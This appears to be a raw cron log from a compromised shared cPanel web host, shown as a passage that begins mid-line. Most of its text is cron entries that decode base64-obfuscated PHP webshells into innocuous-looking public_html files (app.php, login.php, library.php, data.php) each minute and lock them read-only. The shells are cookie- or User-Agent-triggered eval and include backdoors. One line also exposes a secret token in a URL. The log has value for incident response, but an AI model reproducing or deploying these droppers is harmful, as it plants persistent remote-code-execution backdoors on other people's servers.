"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:13:01 medusa CROND[26561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:13:01 medusa CROND[26860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:13:01 medusa CROND[26864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:13:01 medusa CROND[26863]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:13:01 medusa CROND[26867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:13:01 medusa CROND[26868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:13:01 medusa CROND[26869]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:13:01 medusa CROND[26889]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:13:01 medusa CROND[26890]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:13:01 medusa CROND[26891]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:13:01 medusa CROND[26893]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:13:01 medusa CROND[26895]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:13:01 medusa CROND[26897]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:13:01 medusa CROND[26901]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 06:14:01 medusa CROND[11835]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:14:01 medusa CROND[11840]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:14:01 medusa CROND[11899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:14:01 medusa CROND[11979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:14:01 medusa CROND[12063]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:14:01 medusa CROND[12066]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:14:01 medusa CROND[12067]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:14:01 medusa CROND[12069]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:14:01 medusa CROND[12072]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:14:01 medusa CROND[12074]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:14:01 medusa CROND[12076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:14:01 medusa CROND[12075]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:14:01 medusa CROND[12082]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:15:01 medusa CROND[27451]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:15:01 medusa CROND[27455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:15:01 medusa CROND[27490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:15:01 medusa CROND[27579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:15:01 medusa CROND[27623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:15:01 medusa CROND[27627]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27680]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27805]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27806]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:15:01 medusa CROND[27807]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 06:15:01 medusa CROND[27808]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
